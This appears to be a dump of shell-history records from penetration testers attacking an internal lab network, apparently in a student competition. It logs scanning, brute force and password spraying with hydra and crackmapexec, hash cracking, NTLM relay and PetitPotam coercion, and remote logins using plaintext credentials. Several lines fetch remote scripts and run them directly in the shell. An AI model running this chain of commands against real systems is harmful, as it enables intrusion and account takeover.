cd scripts
chmod +x logAgg.sh
sudo ./logAgg.sh


_raw: : 1762615886:0;ffuf -u http://10.0.1.99:8080/dashboard/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt


_raw: : 1762615883:0;git clone -q https://github.com/urbanadventurer/username-anarchy


_raw: : 1762615846:0;ffuf -u http://10.0.1.99:8080/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt


_raw: : 1762615797:0;nmap -sS -sV 10.0.1.0/24 -oX service_version_detection.xml


_raw:
ls
cd Downloads
ls
mkdir Tools
cd Tools
git clone https://github.com/nationalcptc-teamtools/University-of-West-Florida
ls
mv University-of-West-Florida Tools
ls
cd Tools
ls
cd blisk
ls
cd scripts
ls
pickle.sh
./pickle.sh
sudo ./pickle.sh
cs ..
ls ..
cat pro
cd ./Downloads
cd ../Downloads
cd ../..
ls
cd .. ..
cd ..
ls
mkdir Reporting
cd Tools/Tools
ls
cd blisk
ls
cd scripts
ls
sudo ./pickle.sh
sudo pickle.sh
sudo chmod -x ./pickle.sh
ls
sh pickle.sh
cd ..
cd $
cd /
;s
ls
cd ./dev
cd /$
cd $
cd ..
cd /usr
ls
cd ..
ls


_raw: : 1762615746:0;ffuf -u https://10.0.1.99/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt


_raw: : 1762615664:0;ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u "http://10.0.1.11/api/FUZZ" -recursion -r  -t 1 -fs 4831


_raw:
ip a
ls
cd Downloads
ls
sudo ./logAgg.sh
chmod a+x logAgg.sh
clear
sudo logAgg.sh
sudo ./logAgg.sh
ls
cat /var/log/command_history.log
exit


_raw: : 1762615634:237;sudo rustscan -a windows --range=0-65535 -n --no-banner -t 5000 --ulimit 100 -- -A --open --append-output -oA scan


_raw:
: 1762615611:0;ffuf -u http://10.0.1.99/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0\
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\
Accept-Encoding: gzip, deflate\
Accept-Language: en-US,en;q=0.5\
Priority: u=0, i\
Upgrade-Insecure-Requests: 1\
X-Forwarded-For: 10.0.254.205\
X-Forwarded-Host: 10.0.1.99\
X-Forwarded-Port: 80\
X-Forwarded-Proto: http\
X-Forwarded-Server: 6d6c2617b50d'


_raw:
ls
cd Downloads
ls
chmod a+x logAgg.sh
ls
sudo ./logAgg.sh
ls
echo "Hi SOC <3"
cat /var/log/command_history.log
ls
echo $SHELL
test
cat /var/log/command_history.log
reboot
sudo reboot


_raw:
: 1762615585:0;ffuf -u http://10.0.1.99/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -H '[200~User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0\
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\
Accept-Encoding: gzip, deflate\
Accept-Language: en-US,en;q=0.5\
Priority: u=0, i\
Upgrade-Insecure-Requests: 1\
X-Forwarded-For: 10.0.254.205\
X-Forwarded-Host: 10.0.1.99\
X-Forwarded-Port: 80\
X-Forwarded-Proto: http\
X-Forwarded-Server: 6d6c2617b50d


_raw:
ip a
cd ~
clear
ls
echo $SHELL
cd Downloads
ls
chmod a+x logAgg.sh
./logAgg.sh
sudo ./logAgg.sh
exit


_raw: : 1762615484:0;ffuf -u http://10.0.1.99/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -mc 200


_raw: : 1762615464:0;ffuf -u http://10.0.1.99/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt


_raw: : 1762615390:0;ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u "http://10.0.1.11/FUZZ" -recursion -r  -t 1 -fs 4831


_raw: : 1762615386:0;ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u "http://10.0.1.11/FUZZ" -recursion -r  -t 1


_raw: : 1762615384:0;sudo rustscan -a live_hosts --range=0-65535 -n --no-banner -t 5000 --ulimit 100 -- -A --open --append-output -oA scan


_raw: : 1762615335:0;sudo rustscan -a live_hosts.txt --range=0-65535 -n --no-banner -t 5000 --ulimit 10 -- -A --open --append-output -oA scan


_raw:
sudo df -h
sudo vim /etc/hosts
firefox &
which nxc
nxc 10.0.1.0/24 smb
nxc smb 10.0.1.0/24
ls
cd Downloads
ls
gunzip x86_64-linux-rustscan.tar.gz.zip
ls
tar -xvf x86_64-linux-rustscan.tar.gz.zip
ls
unzip rustscan.deb.zip
ls
sudo dpkg -i rustscan_2.4.1-1_amd64.deb
which rustscan
sudo rustscan -a 10.0.1.0/24 -n --no-banner --scripts none -p22,80,443,8080,3000,445,389,3389,135
cd ..
ls
git clone https://github.com/nationalcptc-teamtools/University-of-Central-Florida
ls


_raw: : 1762615109:0;ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u "https://10.0.1.14/FUZZ" -recursion -r  -t 1


_raw: : 1762615074:0;ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u "http://10.0.1.14/FUZZ" -recursion -r  -t 1


_raw: : 1762615070:0;ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u "http://10.0.1.14/FUZZ" -recursion -r  -t 5


_raw: : 1762615066:0;ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u "http://10.0.1.14/FUZZ" -recursion -r


_raw: : 1762614917:0;sudo sh -c "cat paste_hosts >> /etc/hosts"


_raw: : 1762614891:0;nxc smb live_hosts --generate-hosts-file paste_hosts


_raw: : 1762614875:0;nxc smb live_hosts -u Guest -p ''


_raw: : 1762614869:0;nxc smb live_hosts -u Guest -p '' --local-auth


_raw: : 1762614863:0;nxc smb live_hosts -u Administrator -p '' --local-auth


_raw: : 1762614849:0;mv live_hosts.txt live_hosts


_raw: : 1762614731:0;sudo rustscan -a live_hosts.txt --range=0-65535 -n --no-banner -t 5000 --ulimit 300 -- -A --open --append-output -oA scan


_raw: : 1762614722:0;sudo rustscan -a live_hosts.txt --range-0-65535 -n --no-banner -t 5000 --ulimit 300 -- -A --open --append-output -oA scan


_raw: : 1762614681:0;cat hosts | awk '{print $1}' > live_hosts.txt


_raw: : 1762614388:0;. <(wget -qO- 'https://raw.githubusercontent.com/nationalcptc-teamtools/University-of-Central-Florida/refs/heads/main/win.sh')


_raw: : 1762614337:0;. <(wget -qO- 'https://raw.githubusercontent.com/nationalcptc-teamtools/University-of-Central-Florida/refs/heads/main/win.sh')


_raw: : 1762614335:0;. <(wget -qO- 'https://raw.githubusercontent.com/nationalcptc-teamtools/University-of-Central-Florida/refs/heads/main/win.sh)


_raw:
ls
ip
ip a
ping 10.0.1.6
nc 10.0.1.6:53
nc 10.0.1.6 53
clear
ping 10.0.1.9 443
ping 10.0.1.9:443
clear
ssh 10.0.1.15
vim /etc/hosts
sudo vim /etc/hosts
cat /etc/host
cat /etc/hosts
sudo vim /etc/hosts


_raw:
curl -I 10.0.1.21
nmap --script ssl-enum-ciphers -p 443 10.0.1.21
nmap -sn -PE --script targets-icmp 10.0.1.21
nmap -p 5986 --script ssl-enum-ciphers 10.0.1.21
curl -I 10.0.1.21clear
clear
sslyze --retest all 10.0.1.15:3306
openssl s_client -connect 10.0.1.15:3306
R
openssl s_client -connect 10.0.1.15:3306
R
Ropppexit
clear
openssl s_client -connect 10.0.1.15:336
openssl s_client -connect 10.0.1.15:636
openssl s_client -connect 10.0.1.15:443
openssl s_client -connect 10.0.1.15:465
openssl s_client -connect 10.0.1.15:993
nmap --script ssl-enum-ciphers -p 5986 10.0.1.6\
clear
REDACTED_EMAIL
gobuster dir --url http://10.0.1.21/ --wordlist \ /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt  -x php,html
# check the file exists\
ls -l /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt\
\
# alternative Seclists path (common on Kali)\
ls -l /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt\
ls -l /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt\
sudo apt update\
sudo apt install seclists\
gobuster dir -u http://10.0.1.21 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,html\
gobuster dir -u http://10.0.1.6 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,html\
gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,html\
gobuster dir -u http://10.0.1.15 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,html\
gobuster dir -u http://10.0.1.11 -w /path/to/wordlist.txt -x php,html -b 200\
clear
nmap -sV -sC -p- 10.0.1.6
nmap -sV 10.0.1.0/24
clear
rpcclient -N 10.0.1.6


_raw:
sudo gvm-start\
gvm-start\
msfconsole
clear
msfconsole
searchsploit "Microsoft HTTPAPI"\
searchsploit http.sys\
	searchsploit -m 36776
python /home/pentester/36776.py
python /home/pentester/36776.py 10.0.1.21
python /home/pentester/36776.py
10.0.1.21
python /home/pentester/36776.py << 10.0.1.21\
10.0.1.21
python3 36776.py 10.10.10.10 8080\
clear
searchsploit http.sys\
python3 36776.py 10.10.10.10 8080\
python3 36776.py 10.0.1.21 5985\
nano 36776.py
python3 36776.py 10.0.1.21
nano 36776.py
python3 36776.py 10.10.10.10 8080\
searchsploit -m 36773
clear
msfconsole
clear
nmap -sV -sC -p- 10.0.1.14
msfconsole
clear
msfconsole


_raw:
cd all-ports-tours
ls
cd scans
ls
cd 10.0.1.10
ls
ip a
python3 -m http.server 8080
python3 -m http.server 6767
ip a
python3 -m http.server 6767
ls
mkdir scans
ls
sudo nmap -sC -sV -p- 10.0.1.10 -oN scans/all-ports.txt
ssh rdavis@10.0.1.10


_raw:
ssh rdavis@10.0.1.11
ssh rdavis@10.0.1.10
ssh rdavis@10.0.1.14
ssh rdavis@10.0.1.15
ssh rdavis@10.0.1.30
ssh rdavis@10.0.1.99
curl --user rdavis:rosda50 http://10.0.1.11:8000
curl --user rdavis:rosdav50 http://10.0.1.11:8000
smbclient
smbclient -L http://10.0.1.20
smbclient -L 10.0.1.20
smbclient -L rdavis@10.0.1.20
smbclient -L 10.0.1.20 -U rdais
smbclient -L 10.0.1.20 -U rdavis
smbclient -L 10.0.1.21 -U rdavis
smbclient -L 10.0.1.6 -U rdavis
smbclient 10.0.1.6/ADMIN -U rdavis
smbclient //10.0.1.6/ADMIN -U rdavis
smbclient //10.0.1.6/ADMIN$ -U rdavis
smbclient //10.0.1.6/C$ -U rdavis
smbclient //10.0.1.6/IPC$ -U rdavis
smbmap
smbmap -H 10.0.1.6
smbmap -H 10.0.1.6 -u rdavis -p rosdav50
curl -X POST http://10.0.1.11/api
burpsuite
curl -X POST -d "test" http://10.0.1.11/api
curl -X POST -d "test" http://10.0.1.11/api/
ls /usr/share/wordlists
cd scans
ls
cd all-ports-tours
ls
cd scans
mkdir scan-winrm
nmap -oA winrm -iL pingsweep.txt -p 5985
ls
mv scan-winrm pingsweep
cd pingsweep
nmap -oA winrm -iL pingsweep.txt -p 5985
ls
mv winrm* scan-winrm
cd scan-winrm
ls
grep '/open/' winrm.gnmap | awk '{print $2}' | sort -u > winrm.txt
cat winrm.txt
winrm
sudo apt install rwinrn
evil-winrm
curl -v http://10.0.1.15:8080
cd ..
ls
cd pingsweep
burpsuite
cd ..
ls
cd ..
ls
cd ..
ls
cd all-ports-tours
ls
ls scans
cd scans
ls
cd pingsweep
ls
mv 10.0.1.11 ..
cd ..
ls
mkdir 10.0.1.15
cd 10.0.1.15
ls
ls /usr/share/wordlists
sudo apt instal seclists
sudo apt install seclists
ls /usr/share/wordlists
ffuf -u http://10.0.1.15 -w /usr/share/wordlists/seclists/Discovery
mysql
mysql -u rdavis -p -h 10.0.1.15 -P 3306
ip a
mysql -u rdavis -p -h 10.0.1.15 -P 3306
cd ..
ls
cd ..
ls
ls /Downloads
ls ../Downloads/
code .
mousepad brute-ssh.py
nano brute-ssh.py
rm brute-ssh.py
ls
nano brute-ssh.py
nc 10.0.1.10 6768
ls
cd scans
ls
mkdir 10.0.1.1
cd 10.0.1.1
ls
dig 10.0.1.1
dig A 10.0.1.1
sudo nano /etc/hosts
cd ..
ls
mkdir 10.0.1.254
cd 10.0.1.254
sudo nmap -sC -sV -p- 10.0.1.254 -oN scans/all-ports.txt
mkdir scans
sudo nmap -sC -sV -p- 10.0.1.254 -oN scans/all-ports.txt
nc 10.0.1.254 9967
nc 10.0.1.254 9697
nxc
nxc smb 10.0.1.21 -u 'rdavis' -p 'rosdav50' -k
nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gryoscope' -k
nxc smb 10.0.1.21 -u 'adiaz11' -p 'Sails@way!' -k
nxc smb 10.0.1.21 -u 'aphillips' -p 'Sails@way!' -k
nxc smb 10.0.1.21 -u 'druiz' -p 'Sails@way!' -k
nxc smb 10.0.1.21 -u 'lpeterson' -p 'Sails@way!' -k
nc -vn 10.0.1.21 135
rpcclient -U
rpcclient -U "" -N 10.0.1.21
rpcclient -U "rdavis" -N 10.0.1.21
rpcclient -U rdavis@10.0.1.21
rpcclient -U rdavis%Ignite@10.0.1.21
rpcclient -U rdavis%Ignite@123 10.0.1.21
rpcclient -U allports.local\\rdavis@rosdav50 10.0.1.21
rpcclient -U allports.local\\rdavis%rosdav50 10.0.1.21
smbclient -L 10.0.1.21


_raw: : 1762044993:0;hydra -l pentester/Downloads/impacket/examples/users.lol -P /usr/share/wordlists/rockyou.txt ssh://10.0.1.10


_raw: : 1762044987:0;hydra -l pentester/Downloads/impacket/examples/users.lol -P /usr/share/wordlists/rockyou.tzt ssh://10.0.1.10


_raw: : 1762044962:0;hydra -l pentester/Downloads/impacket/examples/users.lol


_raw: : 1762044960:0;chown pentester:pentester dashell_*


_raw: : 1762044955:0;chown penterster:pentester dashell_*


_raw: : 1762044951:0;nxc smb 10.0.1.6 -u rdavis -p rosdav50  -M printnightmare


_raw: : 1762044937:0;nxc smb 10.0.1.6 -u rdavis -p rosdav50 -M coerce_plus -M nopac


_raw: : 1762044917:0;nxc smb 10.0.1.20 -u lpeterson -p 'Sails@way!' --local-auth


_raw: : 1762044912:0;nxc smb 10.0.1.21 -u lpeterson  -p 'Sails@way!' --local-auth


_raw: : 1762044904:0;nxc smb 10.0.1.20 -u lpeterson  -p 'Sails@way!' --local-auth


_raw: : 1762044901:0;nxc smb 10.0.1.20 -u aphillips -p 'Sails@way!' --local-auth


_raw:
clear
nmap -p 139,445 --script smb-enum-users 10.0.1.20
nmap -p 139,445 --script smb-enum-users 10.0.1.21


_raw: : 1762044864:0;nxc smb 10.0.1.20 -u svc_stabilize -p 1gyroscope --local-auth


_raw: : 1762044833:0;tar cavf dashell_pentester_home.tar.gz /home/pentester


_raw: : 1762044813:0;tar cavf dashell_root.tar.gz root_home


_raw: : 1762044792:0;tar cavf dashell_root.tar.gz root_home


_raw:
sudo nmap -sS -T4 -p- 10.0.1.254
ls
cat password.txt
sudo nmap -sS -T4 -p- 10.0.1.254 -oA syn254
ls
history
sudo nmap -sS -T4 -p- 10.0.1.11 -oA syn11
man nmap
sudo nmap -A -T4 -p 22,80,7700,8000,8045,8081 10.0.1.11 -oA NmapA11
sudo nmap -sS -T4 -p- 10.0.1.11 -oA syn10
sudo nmap -sS -T4 -p- 10.0.1.10 -oA syn10
sudo nmap -A -T4 -p 22,6768 10.0.1.10 -oA NmapA10
cat syn254.nmap
nmap -sV -version-intensity 9 -p 9697 10.0.1.254
man searchsploit
searchsploit ssh 8.9p1
searchsploit 52269
searchsploit -m linux/remote/52269.c
ls
ifconfig
cat NmapA11.nmap
man ping
vim request2.txt
sqlmap -r request2.txt --batch --level=5 --risk=3
vim 52269.c
gcc 52269.c -o sshExploit
cat password.txt
./sshExploit 10.0.1.11 22
vim 52269.c


_raw:
nmap -sV -sC 10.0.1.11
enum4linux -a 10.0.1.20
enum4linux -a 10.0.1.21
rpcclient -U "" -N 10.0.1.21
rpcclient -U "" -N 10.0.1.20
crackmapexec smb 10.0.1.21 --users
crackmapexec smb 10.0.1.20 --users


_raw:
clear
nmap -sn 10.0.1.0/24 -T2
nmap -sn 10.0.1.0/24 -Pn -T3
clear
nmap -sn 10.0.1.0/24
nmap -Pn -sV 10.0.1.20 -sS -T3 -p-
clear
nmap -p- 10.0.1.21 --script=vuln -sV
hydra -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/metasploit/unix_passwords.txt 10.0.1.21 rdp
hydra -t 1 -V -f -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/metasploit/unix_passwords.txt rdp://10.0.1.21
hydra -t 15 -V -f -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/metasploit/unix_passwords.txt rdp://10.0.1.21
hydra -t 32 -V -f -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/rockyou.txt  rdp://10.0.1.21
hydra -t 28 -V -f -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/rockyou.txt  rdp://10.0.1.21
sudo nano users.txt
hydra -t 28 -V -f -L users.txt -P /usr/share/wordlists/rockyou.txt  rdp://10.0.1.21
hydra -R
clear
ls
nmblookup -A 10.0.1.20
nmblookup -A 10.0.1.21
nbtscan 10.0.1.20
nbtscan 10.0.1.21
nmap -Pn --script=smb-os-discovery 10.0.1.20
smbmap -H 10.0.1.20
smbmap -H 10.0.1.21
hydra -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/metasploit/unix_passwords.txt 10.0.1.20 smb


_raw:
gobuster dir -u https://10.0.1.14 -w /usr/share/wordlists/dirb/small.txt
gobuster dir -u http://10.0.1.14 -w /usr/share/wordlists/dirb/small.txt
gobuster dir -u http://10.0.1.14 -w /usr/share/wordlists/dirb/small.txt -b "301"
gobuster dir -u http://10.0.1.14 -w /usr/share/wordlists/dirb/common.txt -b "301"
ffuf --version
ffuf -u http://10.0.1.14/FUZZ -w /usr/share/wordlists/wfuzz/general/common.txt
ffuf -u http://10.0.1.14/FUZZ -w /usr/share/wordlists/wfuzz/general/common.txt -fc 301
ffuf -u http://10.0.1.14/FUZZ -w /usr/share/wordlists/wfuzz/general/medium.txt -fc 301
searchsploit
searchsploit nginx
nmap 10.0.1.14 -p5001 script=vulns
nmap 10.0.1.14 -p5001 --script vuln
nmap 10.0.1.14 -p5001 --script vuln -sV


_raw:
git clone https://github.com/SecuraBV/Timeroast.git
cd Timeroast
ls
cd extra-scripts
ls
vim computer_hashes.txt
python3 timecrack.py -h
ls /usr/share/wordlists
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
python3 timecrack.py computer_hashes.txt /usr/share/wordlists/rockyou.txt
python2 timecrack.py computer_hashes.txt /usr/share/wordlists/rockyou.txt
python timecrack.py computer_hashes.txt /usr/share/wordlists/rockyou.txt
python3 timecrack.py computer_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 31300 computer_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat computer_hashes.txt /usr/share/wordlists/rockyou.txt
sudo apt update
hashcat computer_hashes.txt /usr/share/wordlists/rockyou.txt
cat computer_hashes.txt
python3 timecrack.py computer_hashes.txt /usr/share/wordlists/rockyou.txt
vim timecrack.py
cat ~/password.txt
vim timecrack.py
sudo apt upgrade hashcat
hashcat -m 31300 computer_hashes.txt /usr/share/wordlists/rockyou.txt
ls computer_hashes.txt
ls /usr/share/wordlists/rockyou.txt
john computer_hashes.txt
hashcat '1002:$sntp-ms$beb232c3bf63a908da726475607fcb95$1c0311e90000045b000006a0616b8817ecb0cd20c0218739e1b8428bffbfcd0aecb0cdbcd0419d59ecb0cdbcd04289e8' /usr/share/wordlists/rockyou.txt
sudo apt install hashcat
sudo apt remove hashcat
sudo apt install hashcat
hashcat -v
hashcat -m 31300 computer_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -h | grep 31300
ls
cat md4.py
ls
python3 timecrack.py computer_hashes.txt
cd /usr/share/wordlists
sudo git clone https://github.com/danielmiessler/SecLists.git
cat ~/password.txt
wc /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou-75.txt
sudo apt install neo4j
wc /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/fortinet-2021_passwords.txt
cd /home/pentester/Downloads
ls
gunzip hashcat-7.1.2.tar.gz
ls
cd hash
cd hashcat
ls
tar xvzf hashcat-7.1.2.tar
ls
rm hashcat-7.1.2.tar
tar xvzf hashcat-7.1.2.tar.gz
ls
cd hashcat-7.1.2
ls
cat example0.sh
find . -name hashcat 2>/dev/null
make
ls
sudo apt install libbz2-dev libssl-dev libncurses5-dev libffi-dev libreadline-dev libsqlite3-dev liblzma-dev
curl https://pyenv.run | bash
make clean && make
ls
make install
sudo make install
hashcat -h | grep 31300
find / -name hashcat 2>/dev/null
/home/pentester/.local/share/hashcat -h
ls
./hashcat -h | grep 31300
./hashcat -m 31300 ../Timeroast/extra-scripts/computer_hashes.txt /usr/share/wordlists/rockyou.txt
cat ../Timeroast/extra-scripts/computer_hashes.txt
./hashcat -m 31300 '1002:$sntp-ms$00253cd68153a6be62180909c6f3c7d3$1c0311e90000055d00000894616b8817ecb0c920b4da2651e1b8428bffbfcd0aecb0ca912913638aecb0ca9129138bcd' /usr/share/wordlists/rockyou.txt
cd ../Timeroast/extra-scripts
ls
python3 timecrack.py computer_hashes.txt /usr/share/wordlists/rockyou.txt
python3 timecrack.py computer_hashes.txt /home/pentester/Downloads/Top304Thousand-probable-v2.txt
cd ../../
ls
gunzip hashcat-7.1.2.tar.gz ls
7z x hashcat-7.1.2+338.7z
ls
cd hashcat-7.1.2
ls
./hashcat -m 31300 '1002:$sntp-ms$00253cd68153a6be62180909c6f3c7d3$1c0311e90000055d00000894616b8817ecb0c920b4da2651e1b8428bffbfcd0aecb0ca912913638aecb0ca9129138bcd' /usr/share/wordlists/rockyou.txt
cd ..
ls
rm hashcat-7.1.2*
rm -r hashcat-7.1.2*
ls
unzip rockyou.txt.zip
ls
cd Timeroast/extra-scripts
ls
python3 timecrack.py computer_hashes.txt ../../rockyou.txt
python3 timecrack.py computer_hashes.txt /usr/share/wordlists/SecLists/Passwords/Common-Credentials/xato-net-10-million-passwords.txt
bloodhound
sudo vim /etc/bhapi/bhapi.json
bloodhound
bloodhound-python -h
sudo vim /etc/hosts
bloodhound-python -h
bloodhound-python -d allports.tours -u 'Guest' -p '' -c all
ls
cd ~
ls
bloodhound-python -h
bloodhound-python -d allports.tours -u 'Guest' -p '' -ns 10.0.1.6 -c all
cat password.txt
cat Downloads/Timeroast/extra-scripts/computer_hashes.txt
hashcat -a 0 -m 31300 Downloads/Timeroast/extra-scripts/computer_hashes.txt /usr/share/wordlists/rockyou.txt
cat /etc/hosts
bloodhound-python -d allports.tours -u 'Guest' -p '' -ns 10.0.1.6 -c all
bloodhound-python -d allports.tours -u 'Guest' -p '' -ns APT-DC-01.allports.tours -c all
bloodhound-python -d allports.tours -u 'Guest' -p '' -ns 10.0.1.6 -c all
cat /etc/hosts
bloodhound-python -d allports.tours/ -u 'Guest' -p '' -ns 10.0.1.6 -c all
ifconfig
sudo python3 ntlmrelayx.py -debug -smb2support --target 10.0.1.6 --adcs --template KerberosAuthentication
impacket-ntlmrelayx -debug -smb2support --target 10.0.1.6 --adcs --template KerberosAuthentication
impacket-ntlmrelayx -debug -smb2support --target http://allports.tours/certsrv/certfnsh.asp --adcs --template KerberosAuthentication
impacket-ntlmrelayx -debug -smb2support --target http://allports.local/certsrv/certfnsh.asp --adcs --template KerberosAuthentication
impacket-ntlmrelayx -debug -smb2support --target http://APT-DC-01.allports.local/certsrv/certfnsh.asp --adcs --template KerberosAuthentication
mysql -h
mysql --help
mysql -u root -p root -h=10.0.1.15
mysql -u root -h=10.0.1.15
mysql -u root -p root -h=10.0.1.15
cat password.txt
cd Downloads/username-anarchy
vim users.txt
seclists
ffuf -u https://chat.allports.tours -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.chat.allports.tours"
cat ~/password.txt
impacket-ntlmrelayx -debug -smb2support --target http://allports.tours/certsrv/certfnsh.asp --adcs --template KerberosAuthentication
impacket-ntlmrelayx -debug -smb2support --target 10.0.1.6 --adcs --template KerberosAuthentication
bloodhound
impacket-ntlmrelayx -debug -smb2support --target http://allports.tours/certsrv/certfnsh.asp --adcs --template KerberosAuthentication
cat ~/password.txt
impacket-ntlmrelayx -debug -smb2support --target http://allports.tours/certsrv/certfnsh.asp --adcs --template KerberosAuthentication


_raw: python3 PetitPotam.py 10.0.254.201 10.0.1.6 -u 'adiaz11' -p 'Sails@way!'


_raw: python3 PetitPotam.py 10.0.254.201 10.0.1.6 -u 'aphillips' -p 'Sails@way!'


_raw: python3 PetitPotam.py 10.0.254.201 10.0.1.6 -u 'rdavis' -p 'rosdav50'


_raw: python PetitPotam.py 10.0.254.201 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope'


_raw: python3 PetitPotam.py 10.0.254.201 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope'


_raw: crackmapexec smb 10.0.1.21 -u 'adiaz11' -p 'Sails@way!'


_raw: evil-winrm -i 10.0.1.21 -u 'adiaz11' -p 'Sails@way!'


_raw: evil-winrm -i 10.0.1.20 -u 'adiaz11' -p 'Sails@way!'


_raw: evil-winrm -i 10.0.1.6 -u 'adiaz11' -p 'Sails@way!'


_raw: xfreerdp3 /v:10.0.1.21 /u:adiaz11 /p:'Sails@way!'


_raw: xfreerdp3 /v:10.0.1.20 /u:adiaz11 /p:'Sails@way!'


_raw: xfreerdp3 /v:10.0.1.6 /u:adiaz11 /p:'Sails@way!'


_raw: crackmapexec smb 10.0.1.6 -u 'adiaz11' -p 'Sails@way!' --shares


_raw: crackmapexec smb Downloads/windows.txt -u adiaz11 -p 'Sails@way!'


_raw: linWinPwn -t 10.0.1.6 -u 'aphillips' -p 'Sails@way!'


_raw: crackmapexec smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --users > desc.txt


_raw: crackmapexec smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --users


_raw: crackmapexec smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --description


_raw: xfreerdp3 /v:10.0.1.6 /u:SVC_STABILIZE /p:'1gyroscope'


_raw: xfreerdp3 /v:10.0.1.6 /u:rdavis /p:'rosdav50'


_raw: xfreerdp3 /v:10.0.1.6 /u:aphillips /p:'Sails@way!'


_raw: xfreerdp3 /v:10.0.1.21 /u:aphillips /p:'Sails@way!'


_raw: xfreerdp3 /v:10.0.1.21 /u:rdavis /p:'rosdav50'


_raw: xfreerdp3 /v:10.0.1.21 /u:SVC_STABILIZE /p:'1gyroscope'


_raw: xfreerdp3 /v:10.0.1.20 /u:SVC_STABILIZE /p:'1gyroscope'


_raw: xfreerdp3 /v:10.0.1.20 /u:rdavis /p:'rosdav50'


_raw: xfreerdp3 /v:10.0.1.20 /u:aphillips /p:'Sails@way!'


_raw: smbclient \\\\10.0.1.6\\SYSVOL -U rdavis


_raw: impacket-getTGT allports.tours/rdavis:'rosdav50' -dc-ip 10.0.1.6


_raw: crackmapexec smb Downloads/windows.txt -u rdavis -p 'rosdav50' --shares


_raw: evil-winrm -i 10.0.1.21 -u 'aphillips' -p 'Sails@way!'


_raw: evil-winrm -i 10.0.1.20 -u 'aphillips' -p 'Sails@way!'


_raw: evil-winrm -i 10.0.1.6 -u 'aphillips' -p 'Sails@way!'


_raw: certipy find -u 'REDACTED_EMAIL' -p 'rosv50' -dc-ip 10.0.1.6 -vulnerable -stdout


_raw: certipy find -u 'rdavis' -p 'rosv50' -dc-ip 10.0.1.6 -vulnerable -stdout


_raw: certipy find -u 'rosdav' -p 'rosv50' -dc-ip 10.0.1.6 -vulnerable -stdout


_raw: certipy find -dc-ip 10.0.1.6 -u rdavis -p 'rosdav50' -target-ip 10.0.1.6 -stdout


_raw: certipy find -dc-ip 10.0.1.6 -u rdavis -p 'rosdav50' -target-ip 10.0.1.6


_raw:
cd Documents
cd ../Downloads
ls
open scan.html
sudo vim /etc/hosts
sudo responder -I eth0 -dP
crackmapexec
git clone https://github.com/urbanadventurer/username-anarchy.git
ls
cd username-anarchy
ls
vim names.txt
./username-anarchy names.txt
ls
./username-anarchy -h
./username-anarchy -i names.txt
./username-anarchy -i names.txt > usernames.txt
cat usernames.txt
impacket-GetNPUsers -h
impacket-GetNPUsers -dc-ip 10.0.1.6 -usersfile usernames.txt -request
impacket-GetNPUsers -dc-ip 10.0.1.6 -usersfile usernames.txt -request 10.0.1.6
impacket-GetNPUsers -dc-ip 10.0.1.6 -usersfile usernames.txt -request allports.local
impacket-GetNPUsers -dc-ip 10.0.1.6 -usersfile usernames.txt -request allports.local\
impacket-GetNPUsers -dc-ip 10.0.1.6 -usersfile usernames.txt -request allports.local/
crackmapexec smb 10.0.1.6 -u bfinn -p bfinn
cd ..
vim ips.txt
vim windows.txt
crackmapexec smb windows.txt -u 'test' -p ''
rpcclient -N -U '' 10.0.1.20
rpcclient -N -U '' 10.0.1.6
rpcclient -N -U '' 10.0.1.21
rpcclient -U 'Guest' -p '' 10.0.1.6
xfreerdp3 /v:10.0.1.6 /u:Guest /p:''
smbclient -L \\\\10.0.1.6\\ -U Guest
netexec smb 10.0.1.6 -d allports.local -u '' -p '' -M timeroast
cat ../password.txt
git clone https://github.com/Dewalt-arch/pimpmykali.git
ls
cd pimpmykali
ls
